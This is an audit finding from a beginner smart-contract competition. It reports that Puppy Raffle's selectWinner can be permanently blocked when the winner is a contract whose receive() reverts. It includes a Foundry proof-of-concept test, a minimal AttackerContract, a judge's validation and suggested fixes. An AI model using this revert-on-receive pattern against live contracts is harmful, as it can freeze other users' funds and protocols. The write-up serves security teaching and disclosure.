Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Malicious winner can forever halt the raffle contract

[H] Malicious winner can forever halt the raffle contract

Description: Once the winner is chosen, the selectWinner function sends the prize tohis address with an external call to the winner account.

(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");

If the winner account were a smart contract that did not havea payable fallback or receive function, or these functions were reverted, the external call would fail, and execution of the selectWinner function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

Impact: because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code put this test into `PuppyRaffleTest.t.sol`.
function testSelectWinnerDoS() public {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
address[] memory players = new address[](4);
players[0] = address(new AttackerContract());
players[1] = address(new AttackerContract());
players[2] = address(new AttackerContract());
players[3] = address(new AttackerContract());
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.expectRevert();
puppyRaffle.selectWinner();
}

the AttackerContract:

contract AttackerContract {
receive() external payable {
revert();
}
}

Recommended Mitigation: modifying the selectWinner function so that the winner account has to claim the prize by calling a function

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-03] Impossible to win raffle if the winner is a smart contract without a fallback function

## Description If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol. ## Vulnerability Details The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program. ## Impact High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function ## Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction. We can easily implement this check into the function because of the Adress library from OppenZeppelin. I'll add this replace `enterRaffle()` with these lines of code: ```solidity function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { require(Address.isContract(newPlayers[i]) == false, "The players need to be EOAs"); players.push(newPlayers[i]); } // Check for duplicates for (uint256 i = 0; i < players.length - 1; i++) { for (uint256 j = i + 1; j < players.length; j++) { require(players[i] != players[j], "PuppyRaffle: Duplicate player"); } } emit RaffleEnter(newPlayers); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!